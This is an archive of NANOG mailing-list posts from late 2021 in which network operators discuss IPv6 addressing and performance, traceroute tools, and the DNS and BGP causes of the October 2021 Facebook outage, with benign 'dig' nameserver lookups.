Most of our customers are provisioned by Radius. The remaining are configured 
by scripting using Netconf. 

 

We use DNS to document the network. If our DNS was down and I need to connect 
to a router in some city, do you really expect me to remember the IP address? I 
would have to look it up and our chosen database for that happens to be DNS. It 
has some obvious advantages. 

 

Regards 

 

Baldur 

RE: IPv6 and CDN's

[Jean St-Laurent via NANOG]

I like to put some servers behind that scheme.

 

2601::443: for https servers

2601::25: for MTA servers.

2601::993: for IMAP

 

It gives a quick note of what is that ip even though it’s ipv6 and usually 
non-human readable. 

 

Not sure what kind of scheme is use by medium/big ISP. 

 

Do you go by zip code of the area covered or some kind of logical to help 
people know what is behind that ipv6 network?

 

Jean

 

From: NANOG  On Behalf Of Baldur 
Norddahl
Sent: November 28, 2021 8:22 AM
To: NANOG 
Subject: Re: IPv6 and CDN's

 

 

søn. 28. nov. 2021 13.59 skrev Masataka Ohta mailto:mo...@necom830.hpcl.titech.ac.jp> >:


But, with manually configured IP addresses, it is trivially easy
to have a rule to assign lower part of IP addresses within a subnet
for hosts and upper part for routers, which is enough to troubleshoot
most network failures.

 

99% if not 100% of our subnets have either only routers or only hosts + a 
gateway. So that would be a strange rule to follow. Also very expensive if we 
are talking public addressing.

 

I find that 10.x.y.z is not much if you want to have a system in your subnet 
numbering. With ipv6 there is much more space to enable systematic numbering 
schemes. 

RE: IPv6 and CDN's

[Jean St-Laurent via NANOG]

Ipv6 can be shorter than ipv4.

Here is the proof:

ping6 ::1 

is shorter than 

ping 127.1

ipv6 addresses can be very small when done properly.

Jean

-Original Message-
From: NANOG  On Behalf Of Mark Tinka
Sent: November 28, 2021 5:39 AM
To: nanog@nanog.org
Subject: Re: IPv6 and CDN's



On 11/28/21 05:37, Masataka Ohta wrote:

> Try to type in raw IPv6 addresses.

There is DNS for that.

Mark.

RE: IPv6 and CDN's

[Jean St-Laurent via NANOG]

But CFOs like monetization. Was that thread about IPv6 or CFO?

 

From: Michael Thomas  
Sent: November 26, 2021 7:37 PM
To: Oliver O'Boyle 
Cc: Jean St-Laurent ; Ca By ; North 
American Network Operators' Group 
Subject: Re: IPv6 and CDN's

 

That's a start, I guess. Before all they had was some weird VPN something or 
other. Let me guess though: they are monetizing their market failure.

RE: IPv6 and CDN's

[Jean St-Laurent via NANOG]

We now have apple and fb saying ipv6 is faster than ipv4.

 

If we can onboard Amazon, Netflix, Google and some others, then it is a done 
deal that ipv6 is indeed faster than ipv4.

 

Hence, an easy argument to tell your CFO that you need IPv6 for your CDN.

 

Xmas is coming so the budget season. Who knows. You might get lucky this year.

 

From: NANOG  On Behalf Of Michael 
Thomas
Sent: November 26, 2021 6:20 PM
To: Ca By 
Cc: nanog@nanog.org
Subject: Re: IPv6 and CDN's

 

 

On 11/26/21 3:11 PM, Ca By wrote:

 

 

On Fri, Nov 26, 2021 at 6:07 PM Michael Thomas mailto:m...@mtcc.com> > wrote:

 

On 11/26/21 1:44 PM, Jean St-Laurent via NANOG wrote:

Here are some maths and 1 argument kicking ass pitch for CFO’s that use iphones.

Apple tells app devs to use IPv6 as it's 1.4 times faster than IPv4

https://www.zdnet.com/article/apple-tells-app-devs-to-use-ipv6-as-its-1-4-times-faster-than-ipv4/

 

Build around that maybe?

 

This really hits my bs meter big time. I can't see how nat'ing is going to 
cause a 40% performance hit during connections. The article also mentions http2 
(and later v3) which definitely make big improvements so I'm suspecting that 
the author is conflating them.

Mike

 

Ok, take the same ipv6 is faster claim from facebook

 

https://www.internetsociety.org/blog/2015/04/facebook-news-feeds-load-20-40-faster-over-ipv6/

 

 

Still really thin with details of why. At least this says that they are NAT'ing 
v4 at *their* edge. But 99% of the lag of filling your newsfeed is their 
backend and transport, not connection times so who knows what they are actually 
measuring. Most NAT'ing is done at the consumer end by your home router in any 
case. 

Mike

RE: IPv6 and CDN's

[Jean St-Laurent via NANOG]

With that specific line directly from Apple:

 

"And when IPv6 is in use, the median connection setup is 1.4 times faster than 
IPv4. This is primarily due to reduced NAT usage and improved routing."

 

There it is, Improved routing.

 

Jean

 

From: Jean St-Laurent  
Sent: November 26, 2021 4:44 PM
To: 'Mike Hammett' ; 'Jose Luis Rodriguez' 

Cc: 'nanog@nanog.org' 
Subject: RE: IPv6 and CDN's

 

Here are some maths and 1 argument kicking ass pitch for CFO’s that use iphones.

Apple tells app devs to use IPv6 as it's 1.4 times faster than IPv4

https://www.zdnet.com/article/apple-tells-app-devs-to-use-ipv6-as-its-1-4-times-faster-than-ipv4/

 

Build around that maybe?

 

Jean

 

From: Mike Hammett mailto:na...@ics-il.net> > 
Sent: November 26, 2021 11:56 AM
To: Jose Luis Rodriguez mailto:jlrodrig...@gmail.com> >
Cc: nanog@nanog.org  ; Jean St-Laurent 
mailto:j...@ddostest.me> >
Subject: Re: IPv6 and CDN's

 

Care to explain because the alternative seems pretty self-evident.



-
Mike Hammett
Intelligent Computing Solutions
http://www.ics-il.com

Midwest-IX
http://www.midwest-ix.com

 

  _  

RE: IPv6 and CDN's

[Jean St-Laurent via NANOG]

Here are some maths and 1 argument kicking ass pitch for CFO’s that use iphones.

Apple tells app devs to use IPv6 as it's 1.4 times faster than IPv4

https://www.zdnet.com/article/apple-tells-app-devs-to-use-ipv6-as-its-1-4-times-faster-than-ipv4/

 

Build around that maybe?

 

Jean

 

From: Mike Hammett  
Sent: November 26, 2021 11:56 AM
To: Jose Luis Rodriguez 
Cc: nanog@nanog.org; Jean St-Laurent 
Subject: Re: IPv6 and CDN's

 

Care to explain because the alternative seems pretty self-evident.



-
Mike Hammett
Intelligent Computing Solutions
http://www.ics-il.com

Midwest-IX
http://www.midwest-ix.com

 

  _  

RE: IPv6 and CDN's

[Jean St-Laurent via NANOG]

With a kicking ass pitch

-Original Message-
From: NANOG  On Behalf Of Mark Tinka
Sent: November 26, 2021 5:52 AM
To: nanog@nanog.org
Subject: Re: IPv6 and CDN's



On 11/3/21 22:13, Max Tulyev wrote:

> Implementing IPv6 reduces costs for CGNAT. You will have (twice?) less 
> traffic flow through CGNAT, so cheaper hardware and less IPv4 address 
> space. Isn't it?

How to express that in numbers CFO can take to the bank?

Mark.

RE: anyone use fbtracert successfully?

[Jean St-Laurent via NANOG]

smokeping in master slave mode. A bit old school, but maybe still worth a try.

 

https://oss.oetiker.ch/smokeping/doc/smokeping_master_slave.en.html

 

Jean

 

From: NANOG  On Behalf Of Adam 
Thompson
Sent: November 25, 2021 1:31 PM
To: Hugo Slabbert ; Thomas Scott 
Cc: nanog 
Subject: RE: anyone use fbtracert successfully?

 

Thank you!!  Some of those tools are proving much more useful for me than 
fbtracert.  (In particular, traceflow has been updated recently enough that it 
“just works” in common environments that have Python3.  And while it may not be 
perfect, it’s good enough to show what I need.)

-Adam

(who apparently has lost the skills needed to Google usefully, in his 
decrepitude)

 

Adam Thompson
Consultant, Infrastructure Services

100 - 135 Innovation Drive
Winnipeg, MB, R3T 6A8
(204) 977-6824 or 1-800-430-6404 (MB only)
athomp...@merlin.mb.ca  
www.merlin.mb.ca  

 

From: Hugo Slabbert mailto:h...@slabnet.com> > 
Sent: Thursday, November 25, 2021 10:39 AM
To: Thomas Scott mailto:mr.thomas.sc...@gmail.com> >
Cc: Adam Thompson mailto:athomp...@merlin.mb.ca> >; 
nanog mailto:nanog@nanog.org> >
Subject: Re: anyone use fbtracert successfully?

 

What about some other options?

 

https://paris-traceroute.net/

https://dublin-traceroute.net/

https://github.com/rucarrol/traceflow

 

-- 

Hugo Slabbert

 

 

On Wed, Nov 24, 2021 at 9:54 AM Thomas Scott mailto:mr.thomas.sc...@gmail.com> > wrote:

Ha, my apologies, I thought I was writing this for a Linux User Group, not a 
NOG. Ignore my simplistic explanations. 

- Thomas Scott | mr.thomas.sc...@gmail.com   

 

 

On Wed, Nov 24, 2021 at 12:47 PM Thomas Scott mailto:mr.thomas.sc...@gmail.com> > wrote:

I have used it successfully in a test environment that I was using ECMP in. 
Most of the public networks that I've worked with don't use ECMP as often as 
other methods for steering traffic (LAGs, BGP MEDs, etc). 

 

What I have seen it fantastically useful for was troubleshooting a transit 
provider, or for when they were congested or had a flapping core link. Granted 
I think it's still subject to ICMP deprioritization (most SP's use it 
prodigiously), and most MPLS cores don't decrement TTL, but it was still useful 
to be able to show them "no, at this IP, I always drop traffic, when..." 

 

- Thomas Scott | mr.thomas.sc...@gmail.com   

 

 

On Wed, Nov 24, 2021 at 12:23 PM Adam Thompson mailto:athomp...@merlin.mb.ca> > wrote:

The tool fbtracert (http://github.com/facebookarchive/fbtracert) was mentioned 
here recently as a way to get visibility into multi-pathing.

Has anyone here ever used this tool successfully?

 

Supposedly Facebook uses this tool internally, but… that doesn’t help much.

 

I’ve tried it on 4 different platforms/OSes (WSL Ubuntu; RedHat; Debian; 
OpenBSD), and versions of Go (v1.10 through v1.16), in three very different 
environments (on-prem public IP; on-prem NAT’d; cloud public IP), and I’ve yet 
to see it produce any meaningful output – each run/iteration/thread only 
detects one, single, hop out of the entire chain of routers, making it less 
than useful.  Granted, that’s not a full regression test by any means, but if 
anyone here has ever used it successfully, could you please let me know what 
sort of environment you ran it in/on?

 

Thanks,

-Adam

 

Adam Thompson
Consultant, Infrastructure Services

100 - 135 Innovation Drive
Winnipeg, MB, R3T 6A8
(204) 977-6824 or 1-800-430-6404 (MB only)
athomp...@merlin.mb.ca  
www.merlin.mb.ca  

 

RE: possible rsync validation dos vuln

[Jean St-Laurent via NANOG]

https://www.ncsc.nl/actueel/nieuws/2021/oktober/29/aanstaande-bekendmaking-cvd-procedure-rpki

-Original Message-
From: NANOG  On Behalf Of Niels Bakker
Sent: October 29, 2021 2:01 PM
To: nanog@nanog.org
Subject: Re: possible rsync validation dos vuln

* nanog@nanog.org (Jean St-Laurent via NANOG) [Fri 29 Oct 2021, 19:57 CEST]:
>The link doesn't work. 404
>
>https://www.ncsc.nl/actueel/nieuws/2021/oktober/29/aanstaande-bekendm

| X-Mailer: Microsoft Outlook 16.0

The posted link works fine here but your MUA mangled it so you'll have to do 
some manual work to put the two parts together again. You're missing 
"aking-cvd-procedure-rpki" at the end.


>What are the specs of that possible dos vuln?

¯\_(ツ)_/¯


>Is is reflection or amplification or something else?

Maybe you missed the bit where the actual vulnerabilities are under embargo?


-- Niels.

RE: possible rsync validation dos vuln

[Jean St-Laurent via NANOG]

The link doesn't work. 404

https://www.ncsc.nl/actueel/nieuws/2021/oktober/29/aanstaande-bekendm

What are the specs of that possible dos vuln? 

Is is reflection or amplification or something else?

Thanks
Jean

RE: DNS pulling BGP routes?

[Jean St-Laurent via NANOG]

Well said Bill. 

I agree with you about having all your tech/adm records + registrar on the same 
NS... especially for your OOB domain. 

Probably what killed them. They lost access to their fb-00b-net-mgmt.io cool 
dns name network. It just went from bad to worst when they realized that they 
also lost physical access to the building.

We all learned a lot and we're still learning.
Jean

-Original Message-
From: Bill Woodcock  
Sent: October 7, 2021 12:45 PM
To: Jean St-Laurent 
Cc: Masataka Ohta ; Bjørn Mork 
; nanog@nanog.org
Subject: Re: DNS pulling BGP routes?


This was superstition, brought forward from 1992 by the folks who were yelling 
“damned kids get offa my lawn” at the time.

There’s no reason to include a unicast address in an NS set in the 21st 
century, and plenty of reasons not to (since it’ll be very difficult to 
load-balance with the rest of the servers).

But one should NEVER NEVER depend on a single administrative or technical 
authority for all your NS records.  That’s what shot Facebook in the foot, they 
were trying to do it all themselves, so when they shot themselves in the foot, 
they only had the one foot, and nothing left to stand on.  Whereas other folks 
shoot themselves in the foot all the time, and nobody notices, because they 
paid attention to the spirit of RFC 2182.

-Bill

RE: DNS pulling BGP routes?

[Jean St-Laurent via NANOG]

Nice document.

In section 2.5 Routing, this is written:

Distributing Authoritative Name Servers via Shared Unicast Addresses...

organizations implementing these practices should
   always provide at least one authoritative server which is not a
   participant in any shared unicast mesh.

Could it be that by having the NS a,b in one mesh and c,d in another was a 
mistake?


-Original Message-
From: NANOG  On Behalf Of Masataka 
Ohta
Sent: October 7, 2021 11:27 AM
To: Bjørn Mork 
Cc: nanog@nanog.org
Subject: Re: DNS pulling BGP routes?

Bjørn Mork wrote:

> This is quite common to tie an underlying service announcement to 
> BGP announcements in an Anycast or similar environment.

 Yes, that is a commonly seen mistake with anycast.
>>> You don't know what you're talking about.
>>
>> I do but you don't.
> 
> https://datatracker.ietf.org/doc/html/rfc4786#section-4.4.1
> 
> Not a mistake. BCP.

My comment on the rfc is that it is simply wrong.

See also:

https://datatracker.ietf.org/doc/html/rfc3258
While it would be
possible to have some process withdraw the route for a specific
server instance when it is not available, there is considerable
operational complexity involved in ensuring that this occurs
reliably.  Given the existing DNS failover methods, the marginal
improvement in performance will not be sufficient to justify the
additional complexity for most uses.

which was our consensus at that time in DNSOP. I have no idea why it was 
forgotten.

Masataka Ohta

RE: DNS pulling BGP routes?

[Jean St-Laurent via NANOG]

Something public that we know now, is that it's possible to totally shut down 
facebook and restart it. 

Can we shutdown the full internet one day and see if it will restart properly 
without too much hack here and there?

Jean

-Original Message-
From: NANOG  On Behalf Of Mark Tinka
Sent: October 7, 2021 2:31 AM
To: nanog@nanog.org
Subject: Re: DNS pulling BGP routes?



On 10/7/21 08:26, Hank Nussbacher wrote:

>
> Better question is why do we not see any FB netadmins on NANOG? I'm 
> not talking about October 2021 but rather over the past 3-5 years how 
> many FB techies have posted here like we see people from Google, 
> Cloudflare, Akamai, etc.?

They are likely here, but BigContent does not really endorse talking about 
their operations in public fora, typically without PR/Legal OK.

For those who talk about stuff, it's either stuff that is already public, 
publicly-known, or in their own capacity not representing their employer.

Mark.

RE: Facebook post-mortems...

[Jean St-Laurent via NANOG]

1.  If you have some DNS working, you can point it at a static “we are down 
and we know it” page much sooner.
2.   

Good catch and you’re right that it would have reduce the planetary impact. 
Less call to help-desk and less reboot of devices. It would have give 
visibility on what’s happening.

 

It seems to be really resilient in today’s world, a business needs their NS in 
at least 2 different entities like amazon.com is doing.

 

Jean

 

From: NANOG  On Behalf Of Matthew 
Kaufman
Sent: October 5, 2021 10:59 AM
To: Mark Tinka 
Cc: nanog@nanog.org
Subject: Re: Facebook post-mortems...

 

 

 

On Tue, Oct 5, 2021 at 5:44 AM Mark Tinka mailto:mark@tinka.africa> > wrote:



On 10/5/21 14:08, Jean St-Laurent via NANOG wrote:

> Maybe withdrawing those routes to their NS could have been mitigated by 
> having NS in separate entities.

Well, doesn't really matter if you can resolve the A//MX records, 
but you can't connect to the network that is hosting the services.

 

Disagree for two reasons:

 

1. If you have some DNS working, you can point it at a static “we are down and 
we know it” page much sooner.

 

2. If you have convinced the entire world to install tracking pixels on their 
web pages that all need your IP address, it is rude to the rest of the world’s 
DNS to not be able to always provide a prompt (and cacheable) response.

RE: Facebook post-mortems...

[Jean St-Laurent via NANOG]

Does anyone have info whether this network 69.171.240.0/20 was reachable during 
the outage.

 

Jean

 

From: NANOG  On Behalf Of Tom Beecher
Sent: October 5, 2021 10:30 AM
To: NANOG 
Subject: Re: Facebook post-mortems...

 

People keep repeating this but I don't think it's true.

 

My comment is solely sourced on my direct observations on my network, maybe 
30-45 minutes in. 

 

Everything except a few /24s disappeared from DFZ providers, but I still heard 
those prefixes from direct peerings. There was no disaggregation that I saw, 
just the big stuff gone. This was consistent over 5 continents from my 
viewpoints.

 

Others may have seen different things at different times. I do not run an 
eyeball so I had no need to continually monitor.  

 

On Tue, Oct 5, 2021 at 10:22 AM Niels Bakker mailto:na...@bakker.net> > wrote:

* telescop...@gmail.com   (Lou D) [Tue 05 Oct 
2021, 15:12 CEST]:
>Facebook stopped announcing the vast majority of their IP space to 
>the DFZ during this.

People keep repeating this but I don't think it's true.

It's probably based on this tweet: 
https://twitter.com/ryan505/status/1445118376339140618

but that's an aggregate adding up prefix counts from many sessions. 
The total number of hosts covered by those announcements didn't vary 
by nearly as much, since to a significant extent it were more specifics 
(/24) of larger prefixes (e.g. /17) that disappeared, while those /17s 
stayed.

(There were no covering prefixes for WhatsApp's NS addresses so those 
were completely unreachable from the DFZ.)


-- Niels.

RE: Facebook post-mortems...

[Jean St-Laurent via NANOG]

As of now, their MX is hosted on 69.171.251.251

 

Was this network still announced yesterday in the DFZ during the outage? 

69.171.224.0/19 

69.171.240.0/20

 

Jean

 

From: Jean St-Laurent  
Sent: October 5, 2021 9:50 AM
To: 'Tom Beecher' 
Cc: 'Jeff Tantsura' ; 'William Herrin' 
; 'NANOG' 
Subject: RE: Facebook post-mortems...

 

I agree to resolve non-routable address doesn’t bring you a working service.

 

I thought a few networks were still reachable like their MX or some DRP 
networks.

 

Thanks for the update

Jean

 

From: Tom Beecher mailto:beec...@beecher.cc> > 
Sent: October 5, 2021 8:33 AM
To: Jean St-Laurent mailto:j...@ddostest.me> >
Cc: Jeff Tantsura mailto:jefftant.i...@gmail.com> >; 
William Herrin mailto:b...@herrin.us> >; NANOG 
mailto:nanog@nanog.org> >
Subject: Re: Facebook post-mortems...

 

Maybe withdrawing those routes to their NS could have been mitigated by having 
NS in separate entities.

 

Assuming they had such a thing in place , it would not have helped. 

 

Facebook stopped announcing the vast majority of their IP space to the DFZ 
during this. So even they did have an offnet DNS server that could have 
provided answers to clients, those same clients probably wouldn't have been 
able to connect to the IPs returned anyways. 

 

If you are running your own auths like they are, you likely view your public 
network reachability as almost bulletproof and that it will never disappear. 
Which is probably true most of the time. Until yesterday happens and the 9's in 
your reliability percentage change to 7's. 

 

On Tue, Oct 5, 2021 at 8:10 AM Jean St-Laurent via NANOG mailto:nanog@nanog.org> > wrote:

Maybe withdrawing those routes to their NS could have been mitigated by having 
NS in separate entities.

Let's check how these big companies are spreading their NS's.

$ dig +short facebook.com <http://facebook.com>  NS
d.ns.facebook.com <http://d.ns.facebook.com> .
b.ns.facebook.com <http://b.ns.facebook.com> .
c.ns.facebook.com <http://c.ns.facebook.com> .
a.ns.facebook.com <http://a.ns.facebook.com> .

$ dig +short google.com <http://google.com>  NS
ns1.google.com <http://ns1.google.com> .
ns4.google.com <http://ns4.google.com> .
ns2.google.com <http://ns2.google.com> .
ns3.google.com <http://ns3.google.com> .

$ dig +short apple.com <http://apple.com>  NS
a.ns.apple.com <http://a.ns.apple.com> .
b.ns.apple.com <http://b.ns.apple.com> .
c.ns.apple.com <http://c.ns.apple.com> .
d.ns.apple.com <http://d.ns.apple.com> .

$ dig +short amazon.com <http://amazon.com>  NS
ns4.p31.dynect.net <http://ns4.p31.dynect.net> .
ns3.p31.dynect.net <http://ns3.p31.dynect.net> .
ns1.p31.dynect.net <http://ns1.p31.dynect.net> .
ns2.p31.dynect.net <http://ns2.p31.dynect.net> .
pdns6.ultradns.co.uk <http://pdns6.ultradns.co.uk> .
pdns1.ultradns.net <http://pdns1.ultradns.net> .

$ dig +short netflix.com <http://netflix.com>  NS
ns-1372.awsdns-43.org <http://ns-1372.awsdns-43.org> .
ns-1984.awsdns-56.co.uk <http://ns-1984.awsdns-56.co.uk> .
ns-659.awsdns-18.net <http://ns-659.awsdns-18.net> .
ns-81.awsdns-10.com <http://ns-81.awsdns-10.com> .

Amnazon and Netflix seem to not keep their eggs in the same basket. From a 
first look, they seem more resilient than facebook.com <http://facebook.com> , 
google.com <http://google.com>  and apple.com <http://apple.com> 

Jean

-Original Message-
From: NANOG mailto:ddostest...@nanog.org> > On Behalf Of Jeff Tantsura
Sent: October 5, 2021 2:18 AM
To: William Herrin mailto:b...@herrin.us> >
Cc: nanog@nanog.org <mailto:nanog@nanog.org> 
Subject: Re: Facebook post-mortems...

129.134.30.0/23 <http://129.134.30.0/23> , 129.134.30.0/24 
<http://129.134.30.0/24> , 129.134.31.0/24 <http://129.134.31.0/24> . The 
specific routes covering all 4 nameservers (a-d) were withdrawn from all FB 
peering at approximately 15:40 UTC.

Cheers,
Jeff

> On Oct 4, 2021, at 22:45, William Herrin  <mailto:b...@herrin.us> > wrote:
> 
> On Mon, Oct 4, 2021 at 6:15 PM Michael Thomas  <mailto:m...@mtcc.com> > wrote:
>> They have a monkey patch subsystem. Lol.
> 
> Yes, actually, they do. They use Chef extensively to configure 
> operating systems. Chef is written in Ruby. Ruby has something called 
> Monkey Patches. This is where at an arbitrary location in the code you 
> re-open an object defined elsewhere and change its methods.
> 
> Chef doesn't always do the right thing. You tell Chef to remove an RPM 
> and it does. Even if it has to remove half the operating system to 
> satisfy the dependencies. If you want it to do something reasonable, 
> say throw an error because you didn't actually tell it to remove half 
> the operating system, you have a choice: spin up a fork of chef with a 
> couple patches to the chef-rpm interaction or just monkey-patch it in 
> one of your chef recipes.
> 
> Regards,
> Bill Herrin
> 
> --
> William Herrin
> b...@herrin.us <mailto:b...@herrin.us> 
> https://bill.herrin.us/

RE: Facebook post-mortems...

[Jean St-Laurent via NANOG]

I agree to resolve non-routable address doesn’t bring you a working service.

 

I thought a few networks were still reachable like their MX or some DRP 
networks.

 

Thanks for the update

Jean

 

From: Tom Beecher  
Sent: October 5, 2021 8:33 AM
To: Jean St-Laurent 
Cc: Jeff Tantsura ; William Herrin ; 
NANOG 
Subject: Re: Facebook post-mortems...

 

Maybe withdrawing those routes to their NS could have been mitigated by having 
NS in separate entities.

 

Assuming they had such a thing in place , it would not have helped. 

 

Facebook stopped announcing the vast majority of their IP space to the DFZ 
during this. So even they did have an offnet DNS server that could have 
provided answers to clients, those same clients probably wouldn't have been 
able to connect to the IPs returned anyways. 

 

If you are running your own auths like they are, you likely view your public 
network reachability as almost bulletproof and that it will never disappear. 
Which is probably true most of the time. Until yesterday happens and the 9's in 
your reliability percentage change to 7's. 

 

On Tue, Oct 5, 2021 at 8:10 AM Jean St-Laurent via NANOG mailto:nanog@nanog.org> > wrote:

Maybe withdrawing those routes to their NS could have been mitigated by having 
NS in separate entities.

Let's check how these big companies are spreading their NS's.

$ dig +short facebook.com <http://facebook.com>  NS
d.ns.facebook.com <http://d.ns.facebook.com> .
b.ns.facebook.com <http://b.ns.facebook.com> .
c.ns.facebook.com <http://c.ns.facebook.com> .
a.ns.facebook.com <http://a.ns.facebook.com> .

$ dig +short google.com <http://google.com>  NS
ns1.google.com <http://ns1.google.com> .
ns4.google.com <http://ns4.google.com> .
ns2.google.com <http://ns2.google.com> .
ns3.google.com <http://ns3.google.com> .

$ dig +short apple.com <http://apple.com>  NS
a.ns.apple.com <http://a.ns.apple.com> .
b.ns.apple.com <http://b.ns.apple.com> .
c.ns.apple.com <http://c.ns.apple.com> .
d.ns.apple.com <http://d.ns.apple.com> .

$ dig +short amazon.com <http://amazon.com>  NS
ns4.p31.dynect.net <http://ns4.p31.dynect.net> .
ns3.p31.dynect.net <http://ns3.p31.dynect.net> .
ns1.p31.dynect.net <http://ns1.p31.dynect.net> .
ns2.p31.dynect.net <http://ns2.p31.dynect.net> .
pdns6.ultradns.co.uk <http://pdns6.ultradns.co.uk> .
pdns1.ultradns.net <http://pdns1.ultradns.net> .

$ dig +short netflix.com <http://netflix.com>  NS
ns-1372.awsdns-43.org <http://ns-1372.awsdns-43.org> .
ns-1984.awsdns-56.co.uk <http://ns-1984.awsdns-56.co.uk> .
ns-659.awsdns-18.net <http://ns-659.awsdns-18.net> .
ns-81.awsdns-10.com <http://ns-81.awsdns-10.com> .

Amnazon and Netflix seem to not keep their eggs in the same basket. From a 
first look, they seem more resilient than facebook.com <http://facebook.com> , 
google.com <http://google.com>  and apple.com <http://apple.com> 

Jean

-Original Message-
From: NANOG mailto:ddostest...@nanog.org> > On Behalf Of Jeff Tantsura
Sent: October 5, 2021 2:18 AM
To: William Herrin mailto:b...@herrin.us> >
Cc: nanog@nanog.org <mailto:nanog@nanog.org> 
Subject: Re: Facebook post-mortems...

129.134.30.0/23 <http://129.134.30.0/23> , 129.134.30.0/24 
<http://129.134.30.0/24> , 129.134.31.0/24 <http://129.134.31.0/24> . The 
specific routes covering all 4 nameservers (a-d) were withdrawn from all FB 
peering at approximately 15:40 UTC.

Cheers,
Jeff

> On Oct 4, 2021, at 22:45, William Herrin  <mailto:b...@herrin.us> > wrote:
> 
> On Mon, Oct 4, 2021 at 6:15 PM Michael Thomas  <mailto:m...@mtcc.com> > wrote:
>> They have a monkey patch subsystem. Lol.
> 
> Yes, actually, they do. They use Chef extensively to configure 
> operating systems. Chef is written in Ruby. Ruby has something called 
> Monkey Patches. This is where at an arbitrary location in the code you 
> re-open an object defined elsewhere and change its methods.
> 
> Chef doesn't always do the right thing. You tell Chef to remove an RPM 
> and it does. Even if it has to remove half the operating system to 
> satisfy the dependencies. If you want it to do something reasonable, 
> say throw an error because you didn't actually tell it to remove half 
> the operating system, you have a choice: spin up a fork of chef with a 
> couple patches to the chef-rpm interaction or just monkey-patch it in 
> one of your chef recipes.
> 
> Regards,
> Bill Herrin
> 
> --
> William Herrin
> b...@herrin.us <mailto:b...@herrin.us> 
> https://bill.herrin.us/

RE: Facebook post-mortems...

[Jean St-Laurent via NANOG]

If your NS are in 2 separate entities, you could still resolve your 
MX/A//NS.

Look how Amazon is doing it.

dig +short amazon.com NS
ns4.p31.dynect.net.
ns3.p31.dynect.net.
ns1.p31.dynect.net.
ns2.p31.dynect.net.
pdns6.ultradns.co.uk.
pdns1.ultradns.net.

They use dyn DNS from Oracle and ultradns. 2 very strong network of anycast DNS 
servers.

Amazon would have not been impacted like Facebook yesterday. Unless ultradns 
and Oracle have their DNS servers hosted in Amazon infra? I doubt that Oracle 
has dns hosted in Amazon, but it's possible.

Probably the management overhead to use 2 different entities for DNS is not 
financially viable?

Jean

-Original Message-
From: NANOG  On Behalf Of Mark Tinka
Sent: October 5, 2021 8:22 AM
To: nanog@nanog.org
Subject: Re: Facebook post-mortems...



On 10/5/21 14:08, Jean St-Laurent via NANOG wrote:

> Maybe withdrawing those routes to their NS could have been mitigated by 
> having NS in separate entities.

Well, doesn't really matter if you can resolve the A//MX records, but you 
can't connect to the network that is hosting the services.

At any rate, having 3rd party DNS hosting for your domain is always a good 
thing to have. But in reality, it only hits the spot if the service is also 
available on a 3rd party network, otherwise, you keep DNS up, but get no 
service.

Mark.

RE: massive facebook outage presently

[Jean St-Laurent via NANOG]

I don't understand how this would have helped yesterday.

>From what is public so far, they really paint themselves in a corner with no 
>way out. A classic, but at epic scale.

They will learn and improve for sure, but I don't understand how "firmware 
default to your own network" would have help here.

Can you elaborate a bit please?

Jean

-Original Message-
From: NANOG  On Behalf Of Glenn Kelley
Sent: October 4, 2021 8:18 PM
To: nanog@nanog.org
Subject: Re: massive facebook outage presently

This is why you should have Routers that are Firmware Defaulted to your own 
network.  ALWAYS

Be it Calix or even a Mikrotik which you have setup with Netboot - having these 
default to your own setup is REALLY a game changer.

Without it - you are rolling trucks or at minimum taking heavy call volumes.


Glenn Kelley
Chief cook and Bottle Washing Watcher @ Connectivity.Engineer

On 10/4/2021 3:56 PM, Matt Hoppes wrote:
> Yes,
> We've seen that.
>
> On 10/4/21 4:33 PM, Eric Kuhnke wrote:
>> I am starting to see reports that in ISPs with very large numbers of 
>> residential users, customers are starting to press the factory-reset 
>> buttons on their home routers/modems/whatever, in an attempt to make 
>> Facebook work. This is resulting in much heavier than normal first 
>> tier support volumes. The longer it stays down the worse this is 
>> going to get.
>>
>>
>>
>> On Mon, Oct 4, 2021 at 3:30 PM Jay Hennigan > > wrote:
>>
>> On 10/4/21 12:11, b...@theworld.com  wrote:
>>  >
>>  > Although I believe it's generally true that if a company appears
>>  > prominently in the news it's liable to be attacked I assume 
>> because
>>  > the miscreants sit around thinking "hmm, who shall we attack 
>> today oh
>>  > look at that shiny headline!" I'd hate to ascribe any altruistic
>>  > motivation w/o some evidence like even a credible twitter post 
>> (maybe
>>  > they posted that on FB? :-)
>>
>> I personally believe that the outage was caused by human error 
>> and not
>> something malicious. Time will tell.
>>
>> However, if you missed the 60 Minutes piece, it was a former 
>> employee
>> who spoke out with some rather powerful observations. I don't think
>> that
>> this type of worldwide outage was caused by an outside bad actor. 
>> It is
>> certainly within the realm of possibility that it was an inside job.
>>
>> In other news:
>>
>> https://twitter.com/disclosetv/status/1445100931947892736?s=20
>>
>> -- Jay Hennigan - j...@west.net 
>> Network Engineering - CCIE #7880
>> 503 897-8550 - WB6RDV
>>

RE: Facebook post-mortems...

[Jean St-Laurent via NANOG]

Maybe withdrawing those routes to their NS could have been mitigated by having 
NS in separate entities.

Let's check how these big companies are spreading their NS's.

$ dig +short facebook.com NS
d.ns.facebook.com.
b.ns.facebook.com.
c.ns.facebook.com.
a.ns.facebook.com.

$ dig +short google.com NS
ns1.google.com.
ns4.google.com.
ns2.google.com.
ns3.google.com.

$ dig +short apple.com NS
a.ns.apple.com.
b.ns.apple.com.
c.ns.apple.com.
d.ns.apple.com.

$ dig +short amazon.com NS
ns4.p31.dynect.net.
ns3.p31.dynect.net.
ns1.p31.dynect.net.
ns2.p31.dynect.net.
pdns6.ultradns.co.uk.
pdns1.ultradns.net.

$ dig +short netflix.com NS
ns-1372.awsdns-43.org.
ns-1984.awsdns-56.co.uk.
ns-659.awsdns-18.net.
ns-81.awsdns-10.com.

Amnazon and Netflix seem to not keep their eggs in the same basket. From a 
first look, they seem more resilient than facebook.com, google.com and apple.com

Jean

-Original Message-
From: NANOG  On Behalf Of Jeff 
Tantsura
Sent: October 5, 2021 2:18 AM
To: William Herrin 
Cc: nanog@nanog.org
Subject: Re: Facebook post-mortems...

129.134.30.0/23, 129.134.30.0/24, 129.134.31.0/24. The specific routes covering 
all 4 nameservers (a-d) were withdrawn from all FB peering at approximately 
15:40 UTC.

Cheers,
Jeff

> On Oct 4, 2021, at 22:45, William Herrin  wrote:
> 
> On Mon, Oct 4, 2021 at 6:15 PM Michael Thomas  wrote:
>> They have a monkey patch subsystem. Lol.
> 
> Yes, actually, they do. They use Chef extensively to configure 
> operating systems. Chef is written in Ruby. Ruby has something called 
> Monkey Patches. This is where at an arbitrary location in the code you 
> re-open an object defined elsewhere and change its methods.
> 
> Chef doesn't always do the right thing. You tell Chef to remove an RPM 
